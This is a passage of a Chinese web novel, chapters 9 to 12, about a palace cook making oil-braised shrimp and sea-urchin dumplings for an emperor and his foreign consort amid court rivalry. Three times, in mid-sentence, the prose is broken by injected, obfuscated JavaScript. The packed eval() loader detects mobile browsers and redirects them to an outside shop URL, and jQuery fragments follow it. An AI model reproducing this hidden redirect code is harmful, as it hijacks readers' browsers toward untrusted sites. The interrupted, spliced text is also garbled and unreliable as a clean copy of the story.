苏晓瓷正挨个将海虾过长的虾须和爪剪掉,最尖硬的虾枪当然也要最为注意,通通修剪了。 她的动作很麻利,然而这活计本就繁琐,再快也快不到哪里去。 一剪子、一剪子,也把时间一段段剪断了。 不知不觉,她居然只剩不到一刻钟。 可苏晓瓷还在挑虾线。 从披着琉璃壳的虾背处,刺入一细细竹签,果断地往外一挑,那藏着泥沙的虾线就被拖出来大半,而虾壳和虾肉却几乎零损伤。 能如此顺利,也是因为虾甚为鲜活。 它们虽然个头不算大,但除此以外,别无缺点。 背上的虾线去除了,苏晓瓷却将那竹尖一转,又刺入了其腹部。 余珠儿十分好奇此举。 可时间紧迫,她连问都不敢问,还是苏晓瓷竟仍能眼观六路,察觉到了余珠儿欲言又止的迷惑。 “虾腹部也有一条虾线。”苏晓瓷解释道。 背部的上虾线是虾的肠子,其中藏污纳垢,后厨中人都知道要清除。 却很少有人知道虾,还有下虾线,就在其腹部。 与上虾线相比,下虾线极细,只一线细细的黑,而且也不脏,其实是虾得以弹跳的筋脉。 苏晓瓷:“下虾线本不用去除,但是虾受热之后会收缩蜷曲,太佝偻了,不好看。” 她这道菜要做的是整虾,因此卖相非常重要。 “而且虾太过卷曲,会将大部分调料都抱在怀里。” 苏晓瓷还有闲心弓起身子,模仿了一下团成一团儿的虾,鼻子一皱。 “那样滋味不均,咸的地方齁咸,淡的地方又没味。” 这可是做菜的大忌。 越是使用了丰富调味的菜肴,越要注意。 余珠儿听着,觉得苏晓瓷做菜真是太讲道理了! 原来每一个细节不止是为了好看,还别有深意。 她赶忙指着那些开得规规整整、高矮一致的海胆壳,虚心请教为什么这样开。 苏晓瓷头都没抬,“哦,那些就是为了好看。” 余珠儿:…… 假设要做海胆蒸蛋、或是直接做炭烤海胆,那自然留着壳更好,还能在造型上起到一个作用。 但与虾不同,海胆,苏晓瓷并不打算整个做。 她将那些壳也修整得漂亮,纯属闲着没事儿炫技,外加强迫症。 当然,最主要的理由还是磨刀不误砍柴工。 自从挑好食材,苏晓瓷便对两道菜肴成竹在胸,一切都在掌握之中。 小半盆金灿灿的海胆、一整盘青盈盈的海虾都准备好了,苏晓瓷忽然扬声朝围观人群问。 “桂秋姐姐,你们今早做的豆腐还有剩吗?” 话音落下的电光火石之瞬间,一直端坐如同木制雕偶的阿竹,脖子就像是被装了马达似的,猛然一扭,立时朝苏晓瓷看来。 那眼中是不可置信,以及暗淬的怨毒。 苏晓瓷被吓了一跳。 她在心里低骂一声“神经”,耳边听到桂秋的回答。 “今日做得多,还剩将近半板呢,都镇在井里。怎么,你要用?我这就去拿。” 苏晓瓷忽然反应过来。 她瞧着阿竹那居心莫测的视线,心想万一之后,对方以“这豆腐不是苏女官亲手做的”来攻讦,她就喜提抗旨不尊的罪名了。 苏晓瓷不禁暗道“好险”。 不能怪她太过谨慎,而是她不惮以最坏的恶意揣测这国人。 于是苏晓瓷赶紧拦住桂秋。 “想想还是不用了。桂秋姐姐做的豆腐最精细美味,还是给大伙儿留到昼食,再添一道菜多好啊。” “上月初六,姐姐那一道脆皮豆腐就做得好吃极了。脆皮酥软,芡汁酸甜,我吃了还想吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561689|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿胪寺中人的餐食,是由几位高阶膳使领头,分出甲乙丙丁四个班轮流制作,自给自足。 桂秋是厉玉娘的心腹,是膳使之首,寺中饮食早已不用她亲自烹调。 那一日,她不过也是技痒,心血来潮做了一道脆皮豆腐,没想到就被苏晓瓷记住了。 那也确实是她最得意的拿手菜肴之一。 当着这么多人,被如此实在地夸奖,桂秋又欣喜又惊讶,又神气又赧然。 “什么时候了,你还想着吃!” 她佯怒,虚点着苏晓瓷脑壳儿笑骂,心中却想,自己从前与苏晓瓷只是几面浅薄之缘,并无深交。 如今看来,这小娘子倒的确可爱讨喜,令人见之可亲。 桂秋本就是爱凑趣儿的,或许也被苏晓瓷这插科打诨的闹腾精神感染,便琅然一笑。 “晓瓷,你把今日这两道菜做好了,我不仅给你做脆皮豆腐吃,也教你做法。” “还有红烧豆腐、蟹黄豆腐、炸豆腐丸子……姐姐我呀,都有独门秘诀的,想不想学?” 苏晓瓷赶忙喊一声“想!”,把这事定下。 她笑得如望日月,十分期待。 说实话,作为现世的国宴大厨种子选手,苏晓瓷的厨艺不可能比桂秋差——这已经是十分委婉的说法。 脆皮豆腐也不是什么精妙的菜肴。 但是学无止境,苏晓瓷从不敢自大,而是最喜欢集百家所长,磨炼厨艺。 她那差点破音的一嗓子,众人听了也笑,阵阵香雾般浮动的低笑,让气氛忽就松快下来。 连厉玉娘都没忍住,翘了翘嘴角。 只有阿竹没笑。 那些什么“脆皮豆腐”、“蟹黄豆腐”,她听不懂,只觉得一点也不恬淡、不优雅,谁家正经豆腐那么做? 连她自己都没有察觉—— 她的批评,实际是来自茫然落后的烦躁、格格不入的羞恼,更兼朦朦胧胧的嫉妒。 眼前越是群情欢洽,阿竹的神色就越冷沉。 等到桂秋再次确认到底用不用豆腐,而苏晓瓷的回答,终于将阿竹本就狭而窄的气量,顶到了头—— 苏晓瓷是笑盈盈摇着头答的,云淡风轻。 “真的不用了。豆腐而已,又不稀罕,怎么值得劳姐姐芳驾一趟?” 什么叫“豆腐”而已?! 阿竹倒抽一口气,而后就开始吭哧吭哧喘气。 那可是逢年过节才能吃到的高级食材! 那可是需要提前和寺庙预定、和其它权贵争夺才能得到的珍贵食材! 她们才是!一群黄毛丫头而已! 阿竹在心中呐喊。 后厨的微贱之人,居然、居然敢这样评断只有僧侣大人们才会制作的、风雅又昂贵的豆腐! 至于,自己口中的“僧侣大人们”到底是从何处学会了制作豆腐…… 好像根本不在阿竹的思考范围之内。 她只一个接着一个,将谴责的目光扫过言笑晏晏的膳婢们。 最后,又落到苏晓瓷身上。 苏晓瓷已经放弃豆腐,眼珠只滴溜一转,则计在心间。 她转而拿了几枚鸡蛋打散,又去膳房外的小菜园掐了两撮水灵灵的香葱。 再将各样调料依次排开,苏晓瓷审视着自己的灶案,终于满意地点点头。 而后,“刺啦”一声,宽油入锅,苏晓瓷整个人的气场完全改变—— 如云从龙,如风从虎,炊烟和水火之气仿佛就该与苏晓瓷共生。 那些蓬勃的热意和力量,都静静蕴在她的一双手中。 并在此时,随着流畅的颠勺、利落的翻炒、一丝不苟的身体姿态,还有对火候和调味的精准控制全部释放出来。 就像法官摒弃个人情绪去公平判决,就像医生不问贵贱去救死扶伤。 不论食客是谁,苏晓瓷尊重锅灶、尊重食材的厨师之魂都是不会改变的。 菜,她是一定会好好做。 三两下,苏晓瓷先炒了一锅炒鸡蛋。 均匀细碎的鸡蛋,如同颜色浅淡的碎金屑,漾着亮晶的油光——是那种见到了,就会顾不得烫捏起一块偷吃的诱人。 炒鸡蛋备好,苏晓瓷拿起那个装海胆肉的铜盆,长筷一伸,骤然搅拌起来。 “啊——!” 而阿竹尖叫出声。 众人皆悚然。 苏晓瓷也怔住。 还没弄清这破动静的来源,阿竹已经捣腾着激昂的小碎步,直直朝她撞来。 而后,死命攥住苏晓瓷搅拌海胆的手。 “你这是做什么?” 阿竹尖声质问。 “居然浪费这样珍贵的食材?!” 10. 油焖虾、海胆水饺 凉而湿滑,像是某种海物,阿竹的手正死死钳着苏晓瓷的。 苏晓瓷哪里想到对方会来这么一出。 她一时懵住,完全是靠着厨师的本能操守,老实而无辜地回答。 “做饺子馅啊。” 苏晓瓷本来想做豆腐海胆水饺。 海胆和豆腐质性相合,两者都细嫩,粘合性又好,所以这种馅料会在饺子皮里完美融成紧实的小球,一口咬下去,满兜兜的美味。 豆腐锁住海胆的汁水,海胆增添豆腐的鲜味,真叫一个相得益彰,滑嫩可口。 既然不用豆腐,可替换的食材多得是,苏晓瓷就选择了最方便的鸡蛋。 鸡蛋和海胆,明黄和橙金,搭配起来尤为好看。 因为鸡蛋过了油,炒出扑鼻的油香,与豆腐海胆相比,鸡蛋海胆这一组合的滋味虽少了几分清鲜,却多了几分香腴,可谓各有千秋。 所以,这款馅料,是可以和黄瓜虾仁、南瓜羊肉等仙品一同入选“苏晓瓷杯·我最喜爱的饺子馅”第一梯队的。 苏晓瓷只觉得阿竹是不知道这种搭配,还好心好意想给她介绍几句,刚要说出口的话却被打断。 “苏女官此举实在不妥,令老身实在不安。” 苏晓瓷:??? “海胆得来不易,应当敬惜,应当完完整整地取出,搭配白米饭才是。” 阿竹痛心疾首,看着已被苏晓瓷搅碎的海胆肉,“怎么能这样破坏?” 她不住地惋惜,还间杂些短促的母语叹词,好像苏晓瓷犯了十恶不赦的天条。 围观众人都惊住,完全不知道阿竹为何如此。 尤其是方才被她以尊称相唤的膳婢们,方才有多欣喜,现在就有畏怯,她们相顾无言,瞪着眼睛看着悍然发难的阿竹。 明明之前斯斯文文的……结果一瞬就把笑脸下一直压着的邪火爆出。 怪渗人的。 膳婢们云里雾里的,又爱莫能助,只能担忧地看着苏晓瓷。 而苏晓瓷忽然觉得,挺没意思的。 她没有抵抗,而是顺着阿竹的劲儿放下手中物什,亦敛了独属于烹饪时光的欢乐神色,静静看着对方。 阿竹虽然在谴责苏晓瓷,但是她的姿态很值得玩味—— 仍是谦卑地含着身子躬着背,好像情非得已。 阿竹甚至没有直视苏晓瓷,而是始终错开视线,垂眸看向地面。 苏晓瓷本就比她高许多,这下更看不见她的表情了。 只能看到阿竹的头随着她质问的节奏,一甩、一甩,再一甩,就像是那些被刺到神经的鲜活海虾。 苏晓瓷就想再刺刺她。 因为苏晓瓷不允许有人诋毁海胆饺子! 海胆饺子,是饺子中的瑰宝! 仔细想一想,将饺子和海胆结合,其实是多么不容易的壮举。 首先,这个地方要足够喜欢吃饺子,愿意变着花样包。 那便极可能是在北地。 然北地多处内陆,许多山林野地的居民,见到一只螃蟹都会将其稀罕地当做辟邪祛病之物挂在门上,还是全村轮流挂……(1) 这样的地方,又不可能有大量新鲜的海胆。 可是,华夏是那么大呀。 只要有那么一小块地方同时满足这两个条件,上面那么一小撮人,就这么灵光一现、而后想方设法将“海胆饺子”鼓捣了出来。 是的,它只是一种饺子。 也说不上多了不起的。 但它是广博的疆土、丰富的物产、聪慧的人民、千百年不断的烹饪技法和底蕴,以及更加源远流长的、对生活的爱意和热情层层叠加,才能创造出的饺子。 将全部身心都献给烹调之事的苏晓瓷,由衷感激此世仍能生在华夏。 而且下一世、再下一世……她仍是期冀如此。 她歌颂每一种极具地域特点的美食,就像她歌颂那些殊途同归的大众美食—— 它们都是华夏文明的缩影,同时又是她的母体,哺育着千千万万的子孙后代。 光是这一种海胆饺子,和瀛国那样贫瘠的土地和无趣的人民,就不可能孕育出来。 所以尽管阿竹不知道此种做法,苏晓瓷本也不以为意,更犯不上怪她、笑她、嫌弃她。 就如同能兼容并蓄万国文化的大隆一样,苏晓瓷也可以包容阿竹。 但是,千不该万不该,阿竹却不该挑衅。 像是不学无术的儿子,反而去呵斥光耀门楣的父亲,还要给父亲讲家族的历史; 像是夏生秋死的蟪蛄,居然去纠缠以二千岁为一年的上古大椿,非要向大椿传授宇宙的道理。 不知己之危促,更不知彼之未央、之无穷。 何其可笑! 于是苏晓瓷真的笑了出来,而且是真心实意。 她的笑容堪称温和,边笑边将被攥住的手指,一根又一根抽离,重新拿起了那铜盆搅打起海胆馅儿。 “阿竹夫人,海胆水饺是大隆很常见的民间食方呀,怎么是浪费食物呢?” 苏晓瓷的话,和着那搅打的声响,一下、一下,仿佛将阿竹往日的荣耀金身打碎了。 她下意识要再去抓苏晓瓷的手,却被对方很机敏地晃身躲过。 阿竹不放弃,“苏女官,您直接把海胆呈给安昭仪娘娘即可,娘娘定会喜欢的。” 苏晓瓷也不怵,“娘娘亲点,奴婢自然要精心烹调,怎么敢那样偷懒呢?” “不算偷懒。生吃海胆已足够好,是和瀛风味。”阿竹咬牙。 “可是娘娘如今在大隆啊。” 苏晓瓷脱口点明这事实,语气自然而又欢快。 “还是尝尝大隆的菜色吧,您说呢?” 阿竹瘪着嘴,没能接上话。 苏晓瓷就笑眯眯看着她。 苏晓瓷才不会退让。 她被安排了这样的倒霉差事,想来以后要常与阿竹和藤原纯子——这一对各有特色的大小绿茶周旋了。 所以苏晓瓷此时退了一步,以后就要步步退。 在烹调之事上,没人能对她指手画脚。 在和瀛人面前,她也必须顶天立地站稳了,不能给他们任何可乘之机! 而桂秋等围观之人,也早看不惯阿竹如此。 对视一眼,得了厉玉娘的授意,桂秋便立时搭腔。 “是啊,阿竹夫人。菜色的花样可多了去了!焖溜熬炖、煎炒烹炸……光是那炸制,光凭那面糊,就分干炸、酥炸、软炸嘞。” 桂秋的声音又亮又辣,呛口得仿佛折磨了藤原义的那一筷子辣菜。 “阿竹夫人,某种食材,只能用某种方法去做……嗨呀,在咱们大隆,可没有这样的说法。” 有了桂秋打头,更有那胆大的膳婢膳使,也在后面仗义地嘟囔,帮苏晓瓷造势。 “海刺猬就非得生吃?太钻牛角尖儿了……” “就是说啊。” “这不是闲着没事儿给自己添堵吗?” “我觉得她这样才是浪费呢,没按固定的做法做的菜,难道就不要了?” “可不是,膳长大人还总让我们想新菜呢。” …… 尚不用苏晓瓷开口,众人这一句接一句的批判和点评,就足以令阿竹涨红了脸,气到僵直地站着,不知所措。 藤原纯子的一应起居都由阿竹这个乳娘打理,阿竹自然很受敬重,还没受过这样的气。 在大隆,哪怕贵为王子皇孙,其乳娘也只是民间妇人,只不过必是经过层层筛选的、家世清白的。 且为了防止乳娘过度干涉,孩子到了启蒙之龄,乳娘便会被送归家中。 在这一点上,和瀛国的贵族却有着不同的风俗。(2) 他们向来是召请比自家身份稍低的贵族妇女,比如家臣之妻,来作为重要子嗣的乳娘。 而被选中之人,会将这当成至高殊荣,为这一子嗣竭尽忠诚,长久陪伴,从此休戚与共。 阿竹便是出身名门,夫家也是享有广阔食邑的百年武士家族。 藤原纯子一出生,阿竹即应召入将军府,对其精心照顾,甚至很少回家探望。 而当藤原纯子往大隆和亲的决定一下,阿竹更是决绝地斩断了和丈夫、子女的缘分,一同远渡重洋而来。 当藤原纯子被封为高位的昭仪时,阿竹真是心花怒放,觉得自己的付出意义非凡。 作为藤原纯子心腹之人,她以为从此在大隆后宫,自己还能像在和瀛将军府一样扬威曜武。 与和瀛使团中那些色眯眯的男人们一样,在阿竹的心中,上国皇宫的宫娥们,也是特别的存在。 然而,与男人们只看重样貌身量又不同,阿竹还看重她们的身份。 在阿竹读过的汉诗中,这些宫娥披锦着绣、履丝曳缟,是瑶台月底的婵娟,是蓬莱山巅的天女。 她们比将军府里的女使们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561690|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要高贵。 所以,假如她们也能像一众女使那般伏在地上,听自己号令…… 那该是怎样的快意? 阿竹正是因为想享受这种待遇,才在一大清早亲自来到鸿胪寺。 结果呢?! 从刚开始见厉玉娘,阿竹就觉得很不对劲。 对方完全不像她想象的那样——带着一大队人浩浩汤汤地等待,细致而尊敬地寒暄着迎接。 厉玉娘居然只是例行公事地朝她颔首问好,然后就风风火火带她来到了这后厨。 至于鸿胪寺这些人! 有一个算一个,全仰首挺胸的,全敢直视于她。 她们说话的声音也响亮,既不轻柔也不婉转,震得阿竹头疼。 总之,阿竹见不得、看不惯她们这幅姿态。 但是现在众口一词,一致面向阿竹。 这样情况下,她倒是识时务,气焰比余珠儿烧出的炊烟还轻散,立时袅袅消散了。 “是老身多言,苏女官请自便。” 阿竹不再多说,只绷紧了脸坐回圈椅。 没了她的阻碍,苏晓瓷重新掌握烹饪节奏。 完成了饺子馅的准备,她便拿起面团,一阵急急风似的,揪剂子、扑粉、擀面皮,手指和手掌灵活配合下的包饺子…… 她眼明手捷,速度飞快,转眼就包了二十来个饺子。 各个圆圆鼓着肚子,顶着一头又薄又匀称的褶皱,像是长着飘逸鱼鳍的金鱼。 此时此刻,苏晓瓷面前有两个锅。 一个水锅,滚着水等待煮饺子; 另一个油锅,被她加了葱段熬着葱油,准备做虾。 等油锅葱香爆出,饺子就被投到了水中。 而等水锅又一次沸腾,油锅也迎来了鲜虾。 苏晓瓷只扒拉了几下,就盖上锅盖,任由那混着葱油香的热意将虾焖熟。 只剩大概一炷香时间,但苏晓瓷没有丝毫忙乱。 两口锅,两种菜肴,都被安排得明明白白,井然有序,最后竟同时完成,时机绝佳。 一锅热气冲冲的海胆水饺,软滑而不烂; 一锅香气腾腾的葱油焖虾,弹嫩而不老。 两道菜的卖相皆佳,众人不禁松了一口气,再猛吸一大口那诱人香气。 再看苏晓瓷的案板和配菜盘,全部干干净净的,所有食材用量居然都正好,没有丝毫浪费。 就连她现揪的那几根葱——也是葱绿切做葱花加入饺子馅儿提鲜,葱白熬成焖虾的葱油,各得其所,片叶不留。 这下子围观人群当中,那些尚对苏晓瓷厨艺存疑之人,也都心服口服。 只有方芳,仍不甘地瞪着苏晓瓷,握紧了即将挨打的手心,也不知在想什么。 方芳的心被对苏晓瓷的愤恨装满,简直像是青春版本的和瀛阿竹。 她却不知,苏晓瓷根本不在乎她,而是满心满眼只有自己做的菜肴。 菜虽做好,但苏晓瓷仍未敢松懈。 因进献到御前的食物,有着严格的仪制,烹调只是第一步。 苏晓瓷按规矩取来笔墨,将两道菜名工整地写在洒金花笺上。 与此同时,余珠儿已备好一套八方葵口的器皿,象征着四至八道的王化疆土。 小心翼翼地,她配合着苏晓瓷将菜肴装盛好。 苏晓瓷的动作固然已算十分利落,没有一滴汤水自那大勺滴落。 但余珠儿还是认真将盘沿和底都检查一遍,确保其清爽干净,而后放入配套的雕花嵌宝食盒之中。 因为平日里训练有素,虽然余珠儿年岁小且资历浅,可这一整套动作做起来仍是行云流水,熟练非常。 厉玉娘不觉欣慰,心想,虽说对她们严厉了些,但到底值得。 她侧目去看阿竹,就见阿竹完全被这严谨而考究的流程震慑住了。 虽然阿竹不声不响,竭力隐藏情绪,但是她早已不知不觉离了椅背、向前抻着头看,眼中全是惊奇。 尤其是当她看到,为了最大限度保证食物的洁净和温度,在那精美的食盒上,最后还要再盖上一块绣有九条五爪金龙、缀有珍珠的锦绣笼布时,眼睛更是被这奢华之色勾到闭不上了。(3) 厉玉娘暗觑着阿竹这没见过世面的样子,只觉得浑身苏爽。 她不禁骄傲地晃晃头,故意调高了声音。 “晓瓷啊,做好了就赶紧和阿竹夫人送去霓云殿吧。” 11. 起名字、如胶似漆 “陛下,这一句臣妾还是没懂,可以劳烦您再讲讲吗?” “哪一句,朕看看……” 苏晓瓷觉得自己的穿越就是渡劫来了。 昨夜,被厉玉娘骂了半个时辰。 今天,又要看李驰和藤原纯子在面前调情半个时辰。 她情愿立时瞎了聋了,才不用见这梨树压海棠的闹心景象。 苏晓瓷拎了食盒,另由张兰兰等几个健壮膳婢陪护着,全速跟着阿竹冲到这霓云殿,又经殿中尚食女官们的检验和试吃。 这一路极限的过关斩将,就是为了听皇帝李驰轻飘飘地推迟了午膳,再看他和藤原纯子腻腻歪歪地共读诗书。 气得苏晓瓷不禁在心里骂爹。 刚才,阿竹还得意且故意地向她透露——皇帝不止昨夜留宿霓云殿,还在今晨下朝之后,便立刻又来陪伴佳人。 此时,晨起的倦懒似乎还未完全从藤原纯子身上消退。 比身高还长的长发尚未梳起,只松松系了,如同一条迤逦多情的墨溪,流淌在美人榻上。 至于藤原纯子自己,则如溪边无骨的柳,靠在李驰身上。 两人正在一起读《礼记》。 平心而论,苏晓瓷挺佩服藤原纯子。 藤原纯子在国宴之上是因《礼记》而露怯,今日便马上将其拿来研读。 而且是求着李驰亲自为她讲解。 她真的很会拿捏人。 用那些崇拜的眼神和夸赞,让李驰狠狠体会到了为人师的快意。 李驰只要看着她读着华夏古文、偶尔引用几句诗词或是典故的模样,就觉得很有情趣。 宫中其实不乏才女。 比如淑妃就书画双绝,另有诗句广为流传。 可在李驰看来,淑妃那引得洛阳纸贵的才情,不如藤原纯子懵懵懂懂显得娇憨,更不如她全心全意依靠自己那样可爱。 本来,国宴上铁之助的暴言,以及藤原义的丑态,李驰已经对和瀛心生不满。 可在温柔乡中沉沦一夜,他就像定时刷新数据的NPC,又对和瀛使团极其优待了。 站在宫殿角落等待侍膳的苏晓瓷,从二人的对话中听出,李驰竟然已经答应了藤原纯子,准许和瀛使团再在京中多停留半月,直到参加完昭仪的册封典礼再归国。 合着昨夜鸿胪寺辛辛苦苦筹备的送别宴,送了个寂寞! 嘿,人家不走了! 妃嫔册封是大隆后宫之事,哪有外邦使臣参加的道理? 不用想,这又是藤原纯子哀哀求取的结果。 李驰怜惜她远离家乡,属意为她在族人面前挣足荣光,下旨大办册封宴席。 李驰还格外开恩,准许藤原义等亲属在这半月时间里,随时进宫探望。 看着心满意足的藤原纯子,苏晓瓷觉得很讽刺。 昨日国宴,当和瀛国使臣对舞姬宫娥们露出痴态时,大隆朝臣皆作不屑的神色。 可他们有没有想过——自家的国君其实也是一样的。 超出规格的国宴赏赐,一意孤行的高级位份,正表明他也已然被美色所惑,武断行事。 藤原纯子既然已经成为大隆的宫妃,那么她的事便不再涉及外交,而是变成了内务。 因此承办此次册封宫宴的,不再是鸿胪寺,而是同为“九寺”之一、负责宫内膳食的光禄寺。 虽说自己不用挨累,然而物伤其类,苏晓瓷深知,只因为天子兴头上的一句许诺,光禄寺接下来就要步鸿胪寺后尘,忙到四脚朝天了。 当然,苏晓瓷想,最倒霉的还是自己。 身为鸿胪寺中人,她本不用再应付这一位居于深宫的安昭仪了,结果硬生生被拽来。 她饿着肚子,冷眼看帝妃置午膳于不顾,就非要现在学习。 终于,李驰发了话。 “爱妃,你笃志勤学是好事,只是冰冻三尺非一日之寒,莫熬坏了身子,先来用膳吧。” 藤原纯子温柔附和,“听陛下的。” 主子们寻常的低语如同疾风,吹得满殿的命如草芥的打工人们,刹那间纷飞着忙活起来。 餐食一直被保管在中空注入热水的白铜温碗中,虽不算凉,但肯定没有之前那样热腾腾了,众人争分夺秒地布置。 霓云殿的小膳厅中,金碗银碟陈列,香花美草摇曳,瑞兽小玉炉中,还燃起了淡雅的合香。 李驰和藤原纯子相对而坐,二人中间是满满一桌的丰盛菜肴。 今日这午膳共八菜两汤、两样粥品和两样主食。 另有餐前开胃的小菜和香药,饭后清口的糕饼和鲜果各四样。 苏晓瓷粗粗扫过一眼,便见菜有御厨房最拿手的花胶炖鸡、酥炸海鳗、胭脂鹅脯等; 酒是法酒库新酿的御酒,泡了颗颗青梅; 色彩缤纷、摆放有致的蜜饯攒盒,必定则是专攻茶汤果品的翰林司的手笔……(1) 全是惊鸿一瞥的美味。 餐食不论来自何处,只管送来。 而正式侍膳,则由尚食女官们统一完成。 毕竟布菜斟酒、试毒清洁涉及到入口之物,最为紧要。 女官们训练有素,且是被分配到各宫各殿长期侍候,正堪此任。 所以,这里本来没苏晓瓷什么事,但她也知自己今日在劫难逃。 果然,女官为藤原纯子布一块腐皮肉卷,后者却没动筷,而是仿佛刚刚看到站在墙边的苏晓瓷一样,惊喜开口。 “苏女官,你已经来了啊?” 明明自打苏晓瓷一进殿,藤原纯子就与她对上一瞬视线,此时却装得跟真的似的。 “本宫提了那样仓促的要求,实在是麻烦你了。哪两道菜是你做的?” 苏晓瓷应声上前,“娘娘折煞奴婢,能为娘娘烹调是奴婢之幸……” 一边说着无聊的场面话,苏晓瓷一边将菜端到藤原纯子面前。 润亮的红透海虾尾尖相对,一个挨着一个整齐摆做一圈,如同光华流转的丝绸扇面一般引人瞩目,最先撞入藤原纯子眼帘。 “原来是虾啊,看起来非常美味呢。是海虾吗?” 苏晓瓷垂眸,肃声回答,“正是。” 苏晓瓷只做最低限度的交流,旁的话,一句不多说。 她想着的是方才离开膳房时,厉玉娘见缝插针给的叮嘱—— 莫要再争强好胜,而是要尽力让藤原纯子舒心展意,出了这口气才好。 苏晓瓷一想,也是。 唯有如此,她才有尽快摆脱这一尴尬处境的可能。 于是苏晓瓷下定决心—— 哪怕藤原纯子之后指鹿为马,或是呼昼作夜。 总之,无论她出什么错、闹什么笑话,苏晓瓷都绝对顺着她,绝对不揭穿! 苏晓瓷这佛系心态调整得很好,藤原纯子却不可能放过她。 她定定看着苏晓瓷几息,忽展颜而笑,娇声邀请李驰,一同先品鉴苏晓瓷做的这两道菜。 李驰没有不应的道理,说着“随爱妃喜欢就好”,眼睛却不自觉在苏晓瓷身上多停留了一会儿。 昨日国宴上离得远,苏晓瓷又一直低着头,他没有看清。 如今再见她如此样貌,甚为惊艳,乃至想问问她的姓名家世。 但是李驰到底是个体面的帝王,当着新纳的年轻宠妃如此行事,未免轻浪,这便作罢。 况且,虽然大隆以女子的丰腴矫健为美,苏晓瓷也正应这样的标准。 但李驰年纪越大,却越喜爱娇嫩如同细蕊的美人。如今藤原纯子更合他的胃口,这才连着三日宣召其侍寝。 可怜可叹,藤原纯子对身边这一位自己全心全意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561691|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚靠的帝王的想法一无所知,仍如每一位恃宠而骄的新晋宫妃一样,再柔软谦逊的表情下,也有藏不住的骄傲溢出来。 她扬着小巧的下巴,打量这一盘海虾,因见它们尤其闪亮,便问,“是用油煎的?” “回禀娘娘,这道菜的烹饪技法叫做‘油焖’,是只用少量油与食物自身的汁水,以较柔的火候焖熟。” 俗话说,“千滚不如一焖”。 焖制的菜肴原味鲜香,也是苏晓瓷最喜欢的方法之一。 “原来如此。” 藤原纯子从善如流地点头。 她之前因为“膳膏芗”一事而深感耻辱,是因为苏晓瓷知道她所不知道的古文。 然而,如果仅仅是需要由苏晓瓷告知这样的烹饪知识,藤原纯子是没有半分不悦的。 这本来,就不是她该知道的。 在脏乱的厨房里,施展一些难登大雅之堂的末技,而且还杀生造孽呢! ——这一切,都和藤原纯子无关。 她就算知道也会装作不知道。否则,其他和瀛贵女可是会笑话她的。 甚至用不着她们笑话,藤原纯子自己就要觉得自己庸俗了。 所以她才不管苏晓瓷菜做得多好,只执意想在文学底蕴上压过她。 瞧着这一盘海虾,藤原纯子便灵机一动。 “陛下,和瀛国如今虽然用的是汉文,然而我们也用汉字自己造出了一些新词。比如这虾之一物,在和瀛便被写作‘海老’。”(2) “虾总是弓着身子,就像海中的老人,因此得名。” 藤原纯子越说越雀跃,眸色也渐渐亮了起来。 对啊!她想,就像苏晓瓷知道她不知道的诗句一样,她也知道苏晓瓷不知道的词语啊。 尤其是这样准确又生动的和瀛词语,苏晓瓷怎么可能知道呢? 念及此,藤原纯子只觉得胜券在握。 她翘着难压的嘴角,细声问道。 “陛下,苏女官,你们觉得‘海老’这个名字怎么样呀?” …………不怎么样! 李驰和苏晓瓷几乎同时这样想。 刹那间,她们的脑海中已经闪过好几种虾的雅称,每一种都比一声生硬而粗糙的“海老”要好。 但是,李驰不忍驳面子,苏晓瓷决心给面子,两人竟不约而同地称赞了这种叫法。 藤原纯子便越发得意,“不知苏女官给此菜起了什么名字?” 未等苏晓瓷回答,藤原纯子便继续。 “既然你也觉得海老这叫法很好,不如就将菜名更改了吧?改叫‘油焖海老’,很是生动呢。” 苏晓瓷:…… 过于生动了吧?! 听起来简直残暴啊! 放过老年人吧! 侍膳的尚食女官们也亦是相顾无言,在大眼瞪小眼的沉默中暗藏着忍不住的笑意。 她们皆是出身好、才学佳的高阶女官,本来以为藤原纯子能起一个沉博绝丽的好名字,让她们开开眼界。 没想到,竟是水白白的大白话。 “……嗯,不行,油焖……还是不太好听。” 谁也没搭腔,是藤原纯子自己先摇头,低声斟酌着。 她抱着从苏晓瓷处扳回一局的期望,一心一意想将这菜名起得更漂亮。 再看一眼,见那海虾是与葱一同焖的,有段段微金葱白围绕,便又脱口而出。 “葱焖海老!不,香葱焖海老,再加一个香字。” 藤原纯子觉得自己这菜名起得好极了。 天真而无知如她,时至此刻,仍然以为华夏文字之美,竟是仅仅雕琢一个两个字眼便可轻易入手之物。 所以,当她志得意满地接过尚食女官奉上的花笺,看到其上苏晓瓷早写好的菜肴名字时,才陷入了完全的懵怔。 12. 朱衣侯、和瀛回礼 “玉带朱衣侯”。 ——藤原纯子看着这一列娟秀的字迹,大脑一片空白。 